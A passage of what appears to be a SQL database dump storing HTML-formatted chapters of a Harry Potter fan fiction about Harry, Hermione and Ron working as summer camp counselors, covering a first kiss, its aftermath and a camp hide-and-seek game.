him.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;You promised me!&quot; she glared at him as she pushed his shoulder while releasing her grasp on him. She\'d led them safely behind the storage shed and out of view from the rest of the camp.<br>\n\n\n<br>\n Harry watched her with fear. His heart was pounding. He could feel the blood thumping in his ears as it did so. He took in a deep breath as he watched the moonlight reflect off her livid eyes. She began berating him, but he wasn\'t listening; the pounding in his ears was all he could hear.<br>\n\n\n<br>\n &quot;Of all the stupid things to do; risking magic in a place like this?! And using your cloak outside of school!&quot;<br>\n\n\n<br>\n He didn\'t realize it, but as she went on, he\'d begun to stare at her. He could see her lips moving as she spoke. They were so beautiful. He noticed the moonlight reflecting off her hair and in her eyes, giving her a soft, angelic glow. As she chastised him, his eyes moved down her body and noted she was donning blue flannel pajama bottoms and a lavender v-neck tank top. Even in her simple sleepwear she looked beautiful.<br>\n\n\n<br>\n Suddenly her lips stopped moving and Harry shook his head a bit. He let the sounds of the night fill his ears as he realized she was now staring back at him.<br>\n\n\n<br>\n &quot;Harry,&quot; she pouted out her bottom lip a bit in frustration, &quot;are you listening to a word I\'m saying!?!&quot;<br>\n\n\n<br>\n He opened his mouth to speak but no words came out. A fuzzy feeling was starting at his feet, and was now traveling up his body.<br>\n\n\n<br>\n &quot;Harry?&quot; she took a step closer, softening her tone.<br>\n\n\n<br>\n His mind was racing. He wanted to tell her everything he was thinking about her at that very moment, but the words just wouldn\'t come out of his mouth, no matter how hard he tried.<br>\n\n\n<br>\n &quot;Are you all right?&quot; she closed the gap between them, reaching up and putting a gentle hand on his shoulder.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;So that\'s an invisibility cloak?&quot; Juliet took a step closer, fingering the fine material with interest.<br>\n\n\n<br>\n &quot;Um, yes,&quot; Ron mumbled. He was a bit uncomfortable being out in the dark, and still feeling nervous about what Hermione would do to him when she was through with Harry.<br>\n\n\n<br>\n &quot;Magnificent,&quot; she mumbled.<br>\n\n\n<br>\n &quot;So, I\'ve heard a lot about you,&quot; she continued after releasing the silky fabric of the cloak.<br>\n\n\n<br>\n &quot;From Hermione?&quot; he raised an eyebrow of interest.<br>\n\n\n<br>\n &quot;No from my sister. She fancies you,&quot; said Juliet blatantly. Ron could almost see her smirking in the dull moonlight. He was a younger sibling himself; he understood the satisfaction she got from ratting out her older sister.<br>\n\n\n<br>\n &quot;R..really now?&quot; Ron muttered uncomfortably. &quot;That\'s nice,&quot; he didn\'t want to say anything more as thoughts of Meegan and their budding relationship suddenly filled his head. &quot;I better be heading back to my cabin,&quot; he took a step away from her.<br>\n\n\n<br>\n &quot;Wait...&quot;<br>\n\n\n<br>\n Suddenly the door of Juliet\'s cabin opened, producing a perturbed looking Meegan. &quot;Juliet you get back in this cabin,&quot; She stepped outside wearing a long white bathrobe over her boy\'s boxers and ribbed scoop-neck tank top, her hair piled up in a high, messy bun.<br>\n\n\n<br>\n Ron\'s eyes filled with shock as he dropped the invisibility cloak to the ground and kicked some leaves over it.<br>\n\n\n<br>\n Meegan heard the rustling and looked over at him. &quot;Ron? What are you doing here?&quot;<br>\n\n\n<br>\n &quot;I was with...&quot;<br>\n\n\n<br>\n &quot;And where did Hermione go?&quot; interrupted Meegan and she moved aside to let Juliet back into the cabin.<br>\n\n\n<br>\n &quot;Good night, Ron,&quot; she called as she went inside.<br>\n\n\n<br>\n &quot;She\'s with Harry,&quot; managed Ron, quickly walking away from the invisibility and toward Meegan to draw her attention away from where it lay.<br>\n\n\n<br>\n &quot;That\'s wonderful!&quot; smiled Meegan, &quot;What are they up to?&quot;<br>\n\n\n<br>\n &quot;Hermione\'s angry for what we did to your cabin,&quot; muttered Ron, looking out the ground, &quot;Sorry \'bout that,&quot; he added.<br>\n\n\n<br>\n Meegan turned around and looked at her cabin with shocked eyes. The toilet paper was fluttering in the wind. The tape on the door had peeled off from when Hermione and Juliet had barged open the door. Their cabin was a mess.<br>\n\n\n<br>\n &quot;Ronald Weasley!&quot; she stomped toward him, &quot;You are in such deep trouble!&quot;<br>\n\n\n<br>\n &quot;I...I\'m sorry,&quot; muttered Ron, taking a nervous step back. He really didn\'t want to face the wrath of two girls that night. One was too many for him.<br>\n\n\n<br>\n &quot;I can\'t believe you\'d...AHHHHHH!&quot; she took a step forward and tripped on a root, flying into Ron. She hit in with an \'Umph\' and they both went falling to the ground.<br>\n\n\n<br>\n Ron let out a grunt and she landed square atop him with a thud.<br>\n\n\n<br>\n &quot;Owwww,&quot; said Ron, rubbing a sore elbow that had nailed the ground rather harshly.<br>\n\n\n<br>\n Meegan began laughing.<br>\n\n\n<br>\n &quot;What\'s so funny?&quot; he demanded.<br>\n\n\n<br>\n &quot;I don\'t know,&quot; laughed Meegan. &quot;I\'m sorry for getting upset. It really was a good prank. Bad luck you got caught,&quot; her eyes were gleaming in the moonlight. Her laughter was gone, replaced with a glowing smile.<br>\n\n\n<br>\n Ron gave her a dorky smile, a blush creeping up his face, making his ears hot as she leaned closer, still on top of him.<br>\n\n\n<br>\n &quot;Do you think Harry and Hermione will be returning soon?&quot; a wicked look crossed her face as she leaned closer.<br>\n\n\n<br>\n &quot;I don\'t think so,&quot; said Ron, closing his eyes and leaning in. Their lips connected. Ron let a gentle hand slide up her side, drawing small circles on her back with his fingertips.<br>\n\n\n<br>\n He quickly became lost in the moment, forgetting about the lecture he assumed Harry was receiving.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione took a step closer, putting her hand softly on Harry\'s shoulder in a tentative matter.<br>\n\n\n<br>\n &quot;Are you all right?&quot; she asked. He hadn\'t responded to her since she\'d brought him down behind the shed. She didn\'t know if she\'d frightened him into silence, or if it was something different. She had yelled at him quite harshly.<br>\n\n\n<br>\n He cocked his head slightly to the side. His eyes were looking directly into hers. Hermione felt her breath catch in her throat. She\'d been so angry at the moment, she\'d forgotten how much he effected her while she was in his presence.<br>\n\n\n<br>\n Suddenly, she realized how close she was to him. Even in the cool, crisp night, she could feel his body heat radiating against the exposed flesh of her sleeveless arm.<br>\n\n\n<br>\n &quot;Harry?&quot; she gulped. Her stomach was beginning to flutter. It had been three weeks since she\'d been this close to him. She\'d forgotten how captivating he could be.<br>\n\n\n<br>\n &quot;Harry?!&quot; she asked again, a bit more timidly, yet with an urgency for him to respond. She was studying his eyes. The way he was looking at her, it was like he was contemplating something.<br>\n\n\n<br>\n Suddenly, without warning, his hands slid up her sides, up her back, and settled on her shoulders. With a swift pull, he crushed her body into his.<br>\n\n\n<br>\n Hermione\'s breath caught in her throat again. She opened her mouth to speak, but no words came out, her lips quivered soundlessly instead. Her mind began racing wildly, wondering what he could be thinking.<br>\n\n\n<br>\n Her eyes were still locked with his, but he was giving her a look she\'d never seen before. She didn\'t know if it was because she was so tired (it was nearly <st1:time minute="0" hour="15">three o\'clock</st1:time> in the morning after all) or if it was something else, but she still couldn\'t pull her eyes from his gaze.<br>\n\n\n<br>\n Though it seemed longer, she\'d only been in his arms for a few mere seconds. Finding her voice, Hermione began to inquiry him, &quot;Har...&quot;<br>\n\n\n<br>\n She didn\'t get any further than that as his head suddenly bent down and his lips melded onto hers.<br>\n\n\n<br>\n ~*~</p> ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(134, 11, ' <p>AN:&nbsp; The last chapter ended in Hermione&#8217;s Point of View.&nbsp; This chapter backtracks on the same scene but in Harry&#8217;s point of view instead.</p>\n\n<p>~*~</p>\n\n<p>Chapter Eleven</p>\n\n<p>~*~<br>\n\n\n<br>\n After nearly ten minutes of snogging, Ron and Meegan broke apart. They each took a few heavy breaths.<br>\n\n\n<br>\n The night air hung still and silent around them.<br>\n\n\n<br>\n &quot;Wow...&quot; Ron said breathlessly after a moment.<br>\n\n\n<br>\n &quot;Wow yourself,&quot; Meegan giggled. She was still lying atop Ron, looking down at him as she brushed a few strands of loose hair behind her ear and off his face.<br>\n\n\n<br>\n &quot;Did you like your punishment for pranking us?&quot; she grinned, still hovering over Ron.<br>\n\n\n<br>\n &quot;Absolutely. However, I don\'t feel I learned my lesson,&quot; he grinned wickedly. &quot;Can I have some more?&quot;<br>\n\n\n<br>\n &quot;Maybe tomorrow,&quot; Meegan sighed, rolling off of Ron and standing up. &quot;It\'s late, very late, and we need some sleep.&quot; She offered Ron a hand up off the ground.<br>\n\n\n<br>\n &quot;I hope Hermione isn\'t still letting Harry have it,&quot; Ron said as he accepted her hand. &quot;She can be downright vicious at times.&quot;<br>\n\n\n<br>\n &quot;Well you BOTH deserve it,&quot; she frowned, looking at her cabin again, &quot;You got off easy.&quot;<br>\n\n\n<br>\n Looking back to Ron, she walked over to him with a small smile on her face, stopping just in front of him. Slowly, she reached up and rested her hands on his chest. Closing her eyes, she leaned in and gave Ron a nice, slow kiss. Pulling away she added, &quot;Goodnight then,&#8221; and turned, walking back into her cabin.<br>\n\n\n<br>\n &quot;\'Night,&quot; Ron said faintly, watching her go.<br>\n\n\n<br>\n \'I wonder what Harry and Hermione are up to,\' Ron thought, turning his gaze toward the storage shed fifty feet down the path.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry looked at Hermione as he pulled her close.<br>\n\n\n<br>\n He\'d just wanted to be near her when he put his arms around her back. He hadn\'t meant to pull her to him; he\'d just been unable to resist.<br>\n\n\n<br>\n She was too close, he couldn\'t stop himself. He began to search her eyes for any look of resistance. Her eyes met his with a gaze of wonderment.<br>\n\n\n<br>\n The tingling sensation in his toes suddenly skyrocketed throughout his entire body. He knew if he didn\'t kiss her, he\'d burst. Swiftly, before his common sense could step in and stop him, Harry lowered his head until his lips met Hermione\'s.<br>\n\n\n<br>\n As they touched, his entire body exploded with feelings Harry never even knew existed. Their kiss felt inexplicably right, like this was what he was meant to be doing for the rest of his lift. Never before had a single kiss felt so powerful.<br>\n\n\n<br>\n His heart took a leap as he felt Hermione relax in his arms. Taking his chances, he let one of his hands slide down to her lower back. Wrapping his arm around her, he pulled her body in as close to his as he could without crushing her. In response, Hermione\'s hands slid up his back and tangled in his hair.<br>\n\n\n<br>\n The cool night air swirled around them. Feeling Hermione shiver, Harry let his other arm wrap around the top of her shoulders; doing his best to shield her revealed skin from the cold of the night.<br>\n\n\n<br>\n Their lips broke apart leaving both of them gasping for air.<br>\n\n\n<br>\n For Harry, the first kiss wasn\'t enough. He wasn\'t ready for it to end. Hungrily, he dove back for more. She didn\'t pull away and readily accepted his kiss.<br>\n\n\n<br>\n Harry\'s mind was racing. It felt as if his entire head was on fire. He couldn\'t think straight. The only discernable thought he could muster was how incredible he felt at that very moment.<br>\n\n\n<br>\n He couldn\'t let go of her, and he didn\'t want to if he could. He\'d waited so long, too long to be near her like this. And now that he had her, the reality of it surpassed even his wildest dreams.<br>\n\n\n<br>\n \'I cannot believe I\'m actually kissing Hermione!\' his brain began to function again as his body became accustomed to the new feeling coursing through it.<br>\n\n\n<br>\n \'It\'s Hermione! My Hermione!\'<br>\n\n\n<br>\n Suddenly, a sinking feeling formed it the pit of his stomach.<br>\n\n\n<br>\n \'My best friend Hermione...\'<br>\n\n\n<br>\n As the reality of the situation began to set in, Harry felt the tingling fade, becoming replaced with pangs of anxiety. His mind was muddled in confusion. Part of him wanted to run and hide in hopes Hermione may not have noticed they\'d kissed. The other half of him wagered he could stay exactly like this for the rest of his life, forgetting all responsibility, and remain perfectly content.<br>\n\n\n<br>\n Harry squeezed his eyes tighter together in agony. With a heavy bitterness toward himself, he suddenly snapped back, leaving Hermione hanging in mid-air.<br>\n\n\n<br>\n He looked deep in her eyes; eyes which had just filled with a look of utmost fear and concern.<br>\n\n\n<br>\n &quot;I\'m sorry,&quot; said Harry blankly as he released her and made a mad dash back up the path.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione watched in shock as Harry tore away from her. Slowly, she let a hand glide up. Leaving it hovering near her face, she rested her fingertips softly on her still swollen lips. She swore she was shaking at that moment. She didn\'t know what do think, to say, to feel.<br>\n\n\n<br>\n Harry Potter, her best friend in the entire world, had just momentarily given her everything she\'d ever wanted. For a brief moment, she\'d felt whole. It was an indescribable, irreplaceable feeling, and now it was gone. He\'d given her the world, then as quickly as it came, taken it away and left her cold and alone.<br>\n\n\n<br>\n A silent tear trickled down Hermione\'s cheek. She felt so lost and confused. She didn\'t understand what had just happened. He\'d kissed her completely out of the blue. It had been such an initial surprise. Nothing however like the surprise of how she felt during the moment.<br>\n\n\n<br>\n Never in her wildest dreams had Hermione ever fancied it to be like this. She felt like her heart had exploded, sending feelings she\'d never experienced coursing throughout her entire body. She\'d felt alive. More alive than she\'d ever felt.<br>\n\n\n<br>\n Standing alone in the darkness, the cold of the night finally got to Hermione. Still shaking, her hand remaining on her lips, she slowly made her way back to her cabin. If she had experienced it before and known what it felt like, she\'d have sworn she was in shock.<br>\n\n\n<br>\n As she entered the cabin, she started to shake uncontrollably. Thankfully, the rest of the cabin was soundly sleeping. With hot tears now pouring down her cheeks, she slid off her shoes and crawled straight back into bed, curling herself into a ball. Eventually she cried herself to sleep.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n As Harry got past Hermione\'s cabin on the way back up the trail, he spotted his invisibility cloak by chance, laying in the leaves and pine needles on the ground. Ron was nowhere to be seen. With a heavy sigh, he picked it up and shook the debris off of it.<br>\n\n\n<br>\n He stopped and looked at it. Really he was just staring at it blankly. He hated himself. He was horrid and he knew it. He\'d had no right to treat his best friend like that, especially not to leave her. The truth was, he was scared. He was so frightened; he didn\'t know what to do. He\'d just done something that would most likely change his relationship with Hermione for the rest of their lives.<br>\n\n\n<br>\n Sighing, he slipped his cloak on and began to make his way back to his cabin. He hadn\'t taken two steps yet when he heard a soft whimpering coming from behind him.<br>\n\n\n<br>\n Turning, Harry watched Hermione walking back to her cabin. She looked shaken and distraught. The light of the moon reflecting against her cheeks revealed to Harry she\'d begun to cry.<br>\n\n\n<br>\n At the sight of her, he felt the breath being pulled from his lungs. His heart ached for her. Seeing her so upset, he wanted nothing more than to take her softly in his arms and whisper into her ear that everything would be all right.<br>\n\n\n<br>\n He knew he couldn\'t though. He had no right. The only reason she could be crying would be because of him, of what he\'d done to her.<br>\n\n\n<br>\n Studying her, he felt dirty. He knew he shouldn\'t be watching her. He wanted to turn away, but he couldn\'t pull his eyes from her. His heart cried to take her pain from her and double up his own instead. He heard her crying escalate as the cabin door shut behind her.<br>\n\n\n<br>\n Before Harry knew it, he felt a hot tear falling down his own cheek. Downtrodden, he made the sorrow march back to his cabin. Prior to reaching the door, he slid off his cloak and folded it up. Tucking it under his shirt for protection, he slipped into the cabin.<br>\n\n\n<br>\n After hiding the cloak safely away in his bag where it came from, he slipped off his shoes and crawled back into bed. He still felt crushed. Nothing he could do would stop the burning tears that were falling silently down his cheeks.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n It had been three days; three days in which Harry and Hermione had avoided each other like the plague. Neither had dared breathe a word of what had happened between them.<br>\n\n\n<br>\n Unfortunately, neither Ron nor Meegan had noticed their repulsive behavior toward each other. They were still very much wrapped up in their own relationship.<br>\n\n\n<br>\n It was a bright and early Saturday morning. A slight morning chill still hung in the air, deceiving the blaring sun. Everyone had gathered in the lodge to eat breakfast before the day&#8217;s activities.<br>\n\n\n<br>\n Hermione took a spoonful of her cold cereal and stuck in into her mouth with dissatisfaction. As she chewed her bite, she looked across the room at Harry\'s table. She wondered what he must be thinking about everything. She\'d made up a dozen explanations inside her head of why he\'d run from her. The problem was, she didn\'t know if the real reason was a favorable one, or not.<br>\n\n\n<br>\n She sighed and continued to watch him poke around his bowl of cereal. She wanted so badly to talk to him, to tell him she wasn\'t sorry they\'d kissed.<br>\n\n\n<br>\n &quot;Do you fancy him?&quot; a hushed voice leaned in next to Hermione.<br>\n\n\n<br>\n &quot;Wha?!&quot; Hermione spit her cereal back into the bowl in shock and turned to see Juliet leaning in next to her.<br>\n\n\n<br>\n &quot;Harry. Do you fan-&quot;<br>\n\n\n<br>\n &quot;Yes I got that part, now shush,&quot; Hermione didn\'t want anyone to hear what she was saying. A giant blush had unfortunately for Hermione, already crept up deep into her cheeks.<br>\n\n\n<br>\n &quot;So yes you do?&quot; she smiled devilishly.<br>\n\n\n<br>\n &quot;No. I mean yes. I, what was the question again?&quot; Hermione\'s head was fluttery with embarrassment.<br>\n\n\n<br>\n &quot;I said, \'DO YOU FANCY-\'&quot;<br>\n\n\n<br>\n &quot;Right, right,&quot; she cut her off immediately, regaining her senses. &quot;No more talk, okay.&quot;<br>\n\n\n<br>\n &quot;Ahh! You do!&quot; Her smile widened in self satisfaction at her discovery.<br>\n\n\n<br>\n &quot;Juliet!&quot; Hermione\'s voice came in a curt whisper.<br>\n\n\n<br>\n &quot;Really now, who wouldn\'t! He \'is\' the famous Harry Potter after all,&quot; she winked, turning back to her food.<br>\n\n\n<br>\n &quot;But that\'s not the point. I don\'t like him,&quot; said Hermione in a very insistent tone.<br>\n\n\n<br>\n &quot;Right, mmmhmmm,&quot; Juliet nodded, still focusing on her meal.<br>\n\n\n<br>\n &quot;I don\'t!&quot;<br>\n\n\n<br>\n &quot;Uh huh.&quot;<br>\n\n\n<br>\n &quot;Ugh!&quot; Hermione sighed in frustration as she too turned back to her breakfast.<br>\n\n\n<br>\n &quot;See, told you.&quot;<br>\n\n\n<br>\n Hermione scowled and shoved another bite of cold, mushy cereal into her mouth. She chewed it harshly. She hated it when others got the best of her.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Okay everyone! We have some fun in store for us today!&quot; Greg hopped up onto the staff table after breakfast was over.<br>\n\n\n<br>\n The attention of the lodge turned to him.<br>\n\n\n<br>\n &quot;Now, I know some of you look forward to this every year. I know I do! Others, mainly you counselors, don\'t look as forward to it,&quot; a few groans from counselors who\'d caught on to what he was leading up to emanated throughout the room. &quot;I\'m sure most of you will join me in excitement since the campers love this so much,&quot; he eyes of few of the counselors. &quot;Today is the Annual Counselor Hunt!&quot;<br>\n\n\n<br>\n A loud cheer rang out from the campers.<br>\n\n\n<br>\n &quot;Counselor hunt?&quot; Allison frowned.<br>\n\n\n<br>\n &quot;It\'s awesome!&quot; Sarah, one of her campers beamed.<br>\n\n\n<br>\n &quot;Rules people! It\'s all about the rules!&quot; Greg broke up their cheers. &quot;For those of you who are new, here they are. Number one, all senior counselors MUST participate! Number two, all junior counselor must stay in their stationed locations unless they are a roamer to monitor campers. Number three, if a junior counselor rats out a senior counselor, they can consider themselves good as caught! Number four, anyone who is caught, gets throw in the lake!!&quot;<br>\n\n\n<br>\n The campers cheered wildly again, drowning out some of the groans from discontent counselors.<br>\n\n\n<br>\n &quot;Counselors! Counselors, please!&quot; he calmed the cheers again, &quot;You will have fifteen minutes to find a hiding spot. With as many campers as we have given free range of the camp to search for you, I suggest you stay put wherever you chose to hide. If you are found within the three hour time designated, you will be pushed in the lake by whomever found you.&quot;<br>\n\n\n<br>\n More cheers.<br>\n\n\n<br>\n &quot;Junior counselors, I have a station map up here. You are to STAY IN THAT SPOT! This is for camper safety. I know it may seem boring, but most everyone has had their turn at it.&quot;<br>\n\n\n<br>\n &quot;Campers!! You must stay with at least one buddy. If a junior counselor or another staff member catches you alone, you will be sent up to the lodge to receive further punishment! This is only for your safety. So just stay with a friend and you\'ll be okay.&quot;<br>\n\n\n<br>\n &quot;Now, the boundaries, no one is to go past the Lady of the Lake statue on the west side of camp. The service road behind the cabins on the east side is the boundary. The main road up by the lodge is the north boundary, and the lake is the south boundary. I will begin and end with this air horn.&quot; He had a staff member next to him hold it up in the air. &quot;The game will begin at 10:00am. Its nine now. You can all go get yourselves ready and then be back up here no later than 9:35. Counselors, I suggest you go put some dark clothes on. Anything is fair, as long as you stay in bounds. You will automatically be thrown in the lake if you are caught out of bounds. And yes, some on the staff will be constantly patrolling the borders. So, go!!!!!&quot;<br>\n\n\n<br>\n The crowd dispersed in a messy scramble to the cabins. The campers cheering in excitement as they went<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Do you know where you\'re going to hide?&quot; Ron asked Harry as they made their way back up to the lodge. They both had long dark pants on and dark long sleeved shirts. Ron even donned a black wool hat.<br>\n\n\n<br>\n &quot;No, but I\'m too hot,&quot; Harry pulled at the front of his shirt to let some air in. He was also carrying a rather bulgy dark hooded sweatshirt.<br>\n\n\n<br>\n &quot;Me too,&quot; Ron itched his wool hat. They were ahead of their campers walking up to the lodge.<br>\n\n\n<br>\n &quot;I\'d tell you where I\'m going to hide, but they might hear,&quot; Ron nodded back behind them where their campers were.<br>\n\n\n<br>\n Harry nodded as they sweated the rest of the way to the lodge.<br>\n\n\n<br>\n Inside, none of the other counselors looked terribly comfortable. All of them had dressed in dark, full coverage clothing, and the heat was definitely not helping.<br>\n\n\n<br>\n &quot;Okay, counselors, since you\'re all here, in five minutes you will be released out to find hiding spots. At that time, all campers are to move to the north side of the lodge, and sit down on the floor so that their view is away from the bay windows facing the lake and below the other windows surrounding the lodge. This will give you some protection while you hide. You have fifteen minutes. When I blow the air horn, be prepared because the campers will be released upon the camp!&quot;<br>\n\n\n<br>\n Five minutes later, the counselors were released to find their hiding spots. Harry and Ron nodded to each other and then took off in separate directions. All around, counselors were scrambling to find places to hide.<br>\n\n\n<br>\n Harry looked around to make sure no one was near him and then began running off toward the north border, the main road.<br>\n\n\n<br>\n He\'d been thinking of where to hide for a while, then it hit him. There is a ranger station that borders the main road, the station itself it off limits to any camper or staff member. The ranger who lives there is on permanent duty to oversee the campgrounds for every group that comes through to use the facilities. However, the ranger has a deck overlooking the camp. The deck itself does hang over into the camp so technically, the ground below the deck was within camp boundaries.<br>\n\n\n<br>\n Harry quickly made his way to the ranger\'s cabin. There was a short incline up to the deck; the station itself was on a hill. Completely surrounding the bottom of the deck were three-foot tall shrubs. They were dry and brittle, rather unpleasant all together.<br>\n\n\n<br>\n After looking around again to make sure no one could see his secret location, Harry began foraging through the bushes and up the hill. The shrubs were dry and brittle, scratching him as he walked. He hoped they would deter anyone else from trying to climb the hill.<br>\n\n\n<br>\n The entrance to crawl under the deck was only a foot high. The area under the deck itself was about three feet in height. To get under, he\'d have to lie down and shimmy under the small gap. He could see the ground as he neared it. It was just dirt with a few round stones.<br>\n\n\n<br>\n Begrudgingly, he lay down in the bushes and managed to squeeze under the deck. After brushing on the pieces of shrub that had broken off on his clothing, they scootched against the wall and lay as flat as he could. The bushes rose just high enough that he couldn\'t see the path below and anyone looking up couldn\'t see him.<br>\n\n\n<br>\n Sticking his sweatshirt behind his head, he tried to make himself as comfortable as possible. Now he just had to sit and wait three hours until the game ended.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione panicked. She had no idea where to hide and her wristwatch told her she only had three more minutes. She couldn\'t see anyone else running around.<br>\n\n\n<br>\n &quot;They must all be hidden already,&quot; she breathed to herself. She could feel the sweat brimming on her forehead. She didn\'t want to lose.<br>\n\n\n<br>\n Turning around, she noticed the ranger station in front of her. The deck. It was the perfect place to hide. Hermione took off charging up the hill. If she hurried, she just might get herself hidden in time.<br>\n\n\n<br>\n * * END Chapter Eleven * *</p> '),
	(134, 12, ' <p>~*~<br>\n\n\n<br>\n Chapter 12 </p>\n\n<p><br>\n ~*~<br>\n\n\n<br>\n She could hear the footsteps behind her as the students poured out of the lodge. Without another thought, she began flying up the hill, ignoring the sticker bushes clinging to her clothes as she went. Seeing the entrance nearing, Hermione lied down and rolled under as fast she could.<br>\n\n\n<br>\n Sliding under the narrow opening, she came to a stop against something large, soft, and moving. &quot;Harry!&quot; she said in a loud whisper of shock.<br>\n\n\n<br>\n His eyes widened at the sight of her, they were inches apart, face-to- face. He opened his mouth to speak, but she cut him off.<br>\n\n\n<br>\n &quot;I\'m sorry,&quot; she averted her eyes, &quot;I\'ll leave,&quot; she motioned toward the opening.<br>\n\n\n<br>\n As she did, the sound of nearby voices floated up to them. Harry reached out and stopped her with a hand to her forearm. She glanced back at him with soulful eyes. His in return begged her to stay, knowing she was as good as caught if she left. Silently, she settled back down. Uncomfortably, Harry slowly pulled his hand back as he released her shoulder.<br>\n\n\n<br>\n &quot;Do you see that deck?&quot; The voice of a young girl from below rose up to them.<br>\n\n\n<br>\n Hermione turned her head to face Harry; the look of fright in her eyes mirrored his.<br>\n\n\n<br>\n &quot;I see it, but I\'m not going to look,&quot; another voice answered. &quot;Do you seem those bushes?&quot;<br>\n\n\n<br>\n &quot;Oh, don\'t be wimps,&quot; a third voice cut in, &quot;I\'m going up to take a look.&quot; The voice died out, but was replaced by the noise of rustling bushes.<br>\n\n\n<br>\n Hermione felt Harry move next to her. She watched as he pulled the waded up sweatshirt from behind his head and yanked a silvery mass from it that was carefully wrapped in order to remain concealed. With a quick glance at her, he flipped his invisibility cloak over himself and disappeared from sight.<br>\n\n\n<br>\n Panic rose within her, she was going to be caught. The rustling noises were growing closer, her head turned to the opening. A moment later she glanced back to the spot where Harry lay. To her surprise, the edge of his cloak suddenly lifted up. She eyed him suspiciously.<br>\n\n\n<br>\n His eyes widened in surprise, he\'d assumed she\'d have taken his offer and immediately climbed under. &quot;Come on,&quot; he hissed. The noises outside were upon them. Without another glance, she slipped under the cloak and settled atop Harry. He tucked the cloak securely around them just as a flashlight shined under the edge.<br>\n\n\n<br>\n Hermione held her breath and tried to remain calm as the light scanned up and down in the space below the deck. As the seconds ticked by, she grew more and more uncomfortable. It was becoming increasingly more difficult to control her breathing. Not in fear, but in for the fact she lay fully atop Harry. Every inch of her was matched by part of him. She silently thanked the fact that she was shorter than he was, or their faces would be to close for comfort. Instead, she had hers lying sideways across his chest.<br>\n\n\n<br>\n &quot;No one here,&quot; the girl holding the light called back to her friends. As she left, they listened to her footsteps until their sound died out and they were left alone again.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry was suddenly very aware that Hermione was completely lying on him. Every possible inch of her front was touching him. His breathing suddenly became a bit quickened as his throat constricted uncomfortably.<br>\n\n\n<br>\n &quot;Well,&quot; her voiced squeaked in an attempt at whispering, &quot;that was certainly a close one.&quot; She shifted a bit uncomfortably, but stopped moving as soon as she remembered her current state.<br>\n\n\n<br>\n &quot;Yes, it was,&quot; said Harry. His voice was low and seemed pained. He swallowed harshly. Of all situations he\'d imagined, this was the last one that would have ever entered his mind. The pair hadn\'t spoken to one another since their impromptu kiss, and now here they were in a very compromising position.<br>\n\n\n<br>\n &quot;Do you&#8230;do you want me to leave now?&quot; said Hermione spoke softly to him, her face was turned toward the opening out from the deck. Her ear was positioned directly over his heart, and she spoke, she listened to its rhythmic beating.<br>\n\n\n<br>\n &quot;No,&quot; he said it so softly, he wasn\'t sure if he\'d actually said it at all. Not only did he not want to be the reason she got caught, but maybe if they were alone, he\'d have a chance to talk to her.<br>\n\n\n<br>\n &quot;Okay,&quot; said Hermione, still in a soft, unsure tone.<br>\n\n\n<br>\n Harry took in a heavy breath. He could feel his chest labor to rise under the weight of Hermione. Closing his eyes, he willed his body to relax.<br>\n\n\n<br>\n &quot;We should stay here,&quot; said Harry, &quot;under the cloak I mean.&quot;<br>\n\n\n<br>\n He could feel her nod in assent against his chest.<br>\n\n\n<br>\n &quot;They could come back at anytime,&quot; he reasoned still, even though she\'d already agreed.<br>\n\n\n<br>\n &quot;Right.&quot;<br>\n\n\n<br>\n &quot;And, maybe we should quiet down,&quot; he swallowed uncomfortably again.<br>\n\n\n<br>\n &quot;Okay.&quot;<br>\n\n\n<br>\n Harry took in another deep breath and looked up at the dirt encrusted ceiling above him. His mind was racing and his stomach was a flutter. He hated how much she affected him. All she had to do was be in the room and his heart leapt. He closed his eyes again and willed his stomach to settle down. Instead, she shifted again and it started fluttering faster.<br>\n\n\n<br>\n &quot;Hermione?&quot;<br>\n\n\n<br>\n &quot;I thought we were being quiet,&quot; she mumbled into his chest. He could feel her lips moving across the cloth of his shirt.<br>\n\n\n<br>\n &quot;We don\'t have to be silent, we just need to lower our voices,&quot; he reasoned.<br>\n\n\n<br>\n She didn\'t say anything is response and his pulse began to quicken in anticipation. He hoped she couldn\'t hear the increase in the speed of his heart, considering her current position.<br>\n\n\n<br>\n &quot;Can we talk?&quot; he meshed his face in anxiety after he spoke.<br>\n\n\n<br>\n &quot;We are talking,&quot; said Hermione, her voice softer than before.<br>\n\n\n<br>\n &quot;I mean really talk,&quot; his heart was thumping against his chest so fiercely, he\'d assume her a fool not to have noticed already.<br>\n\n\n<br>\n &quot;Oh&#8230;all right,&quot; her voice picked up a bit with a hint of trepidation in it.<br>\n\n\n<br>\n &quot;Okay.&quot; he began.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Ron had heard the whistle signaling the start of the game nearly ten minutes ago, and he\'d yet to find a suitable hiding spot.<br>\n\n\n<br>\n Looking around, he realized he\'d ended up near the lake. Further down the way, he spotted the arts and crafts building. The back of it bordered the boundary. Taking a chance, he ran to it, hoping the campers would deem it too close to the out of bounds mark to look.<br>\n\n\n<br>\n Rounding the corner, to his surprise, he found Meegan crouched behind back.<br>\n\n\n<br>\n &quot;What are you doing here?!&quot; he blurted out, coming to a surprised halt.<br>\n\n\n<br>\n &quot;I\'m hiding, what are you doing here?&quot; she eyed him suspiciously.<br>\n\n\n<br>\n &quot;Hiding,&quot; he smiled taking a seat next to her.<br>\n\n\n<br>\n She smiled back.<br>\n\n\n<br>\n &quot;So, since we\'re hiding...together..&quot; he grinned leaning in.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Harry,&quot; Hermione sighed. She was still lying atop him, anticipating his speech. &quot;All you\'ve said was \'Okay\' and that was five minutes ago. Quit stalling and get to the point.&quot; She didn\'t mean to find herself irritated, but she was growing increasingly edgy due to their compromising position.<br>\n\n\n<br>\n &quot;Right...the thing is&#8230;I mean, I didn\'t mean for this...Hermione,&quot; he rambled.<br>\n\n\n<br>\n Hermione sighed; she knew he\'d never spill it out. And knowing Harry, she 